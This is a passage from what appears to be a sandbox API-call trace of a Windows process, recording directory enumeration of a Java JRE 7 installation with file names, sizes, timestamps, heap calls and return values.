ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xbcf50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr100.dll", cAlternateFileName="")) returned 1 [0088.131] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x127a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="net.dll", cAlternateFileName="")) returned 1 [0088.131] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xc3a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="nio.dll", cAlternateFileName="")) returned 1 [0088.131] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x367a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="npjpi170_45.dll", cAlternateFileName="")) returned 1 [0088.131] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x35da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="npoji610.dll", cAlternateFileName="")) returned 1 [0088.131] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x45a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="npt.dll", cAlternateFileName="")) returned 1 [0088.131] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="orbd.exe", cAlternateFileName="")) returned 1 [0088.131] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="pack200.exe", cAlternateFileName="")) returned 1 [0088.131] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin2", cAlternateFileName="")) returned 1 [0088.131] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.131] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\plugin2" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\plugin2"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0088.132] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\plugin2" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\plugin2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0088.133] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0088.133] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0088.133] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0088.133] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0088.133] NtClose (Handle=0x16c) returned 0x0 [0088.134] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.134] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.134] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e360 [0088.134] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e3e8 [0088.134] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\plugin2\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0088.134] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.134] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xbcf50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr100.dll", cAlternateFileName="")) returned 1 [0088.134] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e470 [0088.135] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e470) returned 1 [0088.135] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e470 [0088.135] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e470) returned 1 [0088.135] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e470 [0088.136] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e470) returned 1 [0088.136] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x27fa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="npjp2.dll", cAlternateFileName="")) returned 1 [0088.136] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e470 [0088.136] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e470) returned 1 [0088.136] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e470 [0088.137] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e470) returned 1 [0088.137] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e470 [0088.137] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e470) returned 1 [0088.137] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x27fa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="npjp2.dll", cAlternateFileName="")) returned 0 [0088.137] GetLastError () returned 0x12 [0088.137] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\plugin2\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9000 [0088.137] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0088.137] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.137] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xbcf50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr100.dll", cAlternateFileName="")) returned 1 [0088.138] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x27fa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="npjp2.dll", cAlternateFileName="")) returned 1 [0088.138] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x27fa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="npjp2.dll", cAlternateFileName="")) returned 0 [0088.138] GetLastError () returned 0x12 [0088.138] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e3e8) returned 1 [0088.138] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0088.138] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e360) returned 1 [0088.138] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.138] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="policytool.exe", cAlternateFileName="")) returned 1 [0088.138] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xb3a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="prism-d3d.dll", cAlternateFileName="")) returned 1 [0088.138] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="rmid.exe", cAlternateFileName="")) returned 1 [0088.138] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="rmiregistry.exe", cAlternateFileName="")) returned 1 [0088.139] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="servertool.exe", cAlternateFileName="")) returned 1 [0088.139] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2ffa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="splashscreen.dll", cAlternateFileName="")) returned 1 [0088.139] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x70fa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ssv.dll", cAlternateFileName="")) returned 1 [0088.139] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xbfa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ssvagent.exe", cAlternateFileName="")) returned 1 [0088.139] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1e3a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="sunec.dll", cAlternateFileName="")) returned 1 [0088.139] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x63a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="sunmscapi.dll", cAlternateFileName="")) returned 1 [0088.139] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2f1a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="t2k.dll", cAlternateFileName="")) returned 1 [0088.139] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3fa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="tnameserv.exe", cAlternateFileName="")) returned 1 [0088.139] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xe3a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="unpack.dll", cAlternateFileName="")) returned 1 [0088.139] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x23ba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="unpack200.exe", cAlternateFileName="")) returned 1 [0088.139] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x9ba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="verify.dll", cAlternateFileName="")) returned 1 [0088.139] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x53a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="w2k_lsa_auth.dll", cAlternateFileName="")) returned 1 [0088.139] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x177a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsAccessBridge-32.dll", cAlternateFileName="")) returned 1 [0088.139] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x28fa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="wsdetect.dll", cAlternateFileName="")) returned 1 [0088.139] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x105a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="zip.dll", cAlternateFileName="")) returned 1 [0088.139] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x105a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="zip.dll", cAlternateFileName="")) returned 0 [0088.139] GetLastError () returned 0x12 [0088.139] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e250) returned 1 [0088.139] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0088.140] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e1c8) returned 1 [0088.140] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124dd00) returned 1 [0088.140] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7438c420, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7438c420, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7438c420, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xd51, dwReserved0=0x0, dwReserved1=0x0, cFileName="COPYRIGHT", cAlternateFileName="")) returned 1 [0088.140] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7572f9a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7572f9a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lib", cAlternateFileName="")) returned 1 [0088.140] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124dd00 [0088.140] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib" (normalized: "c:\\program files (x86)\\java\\jre7\\lib"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7572f9a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7572f9a0, 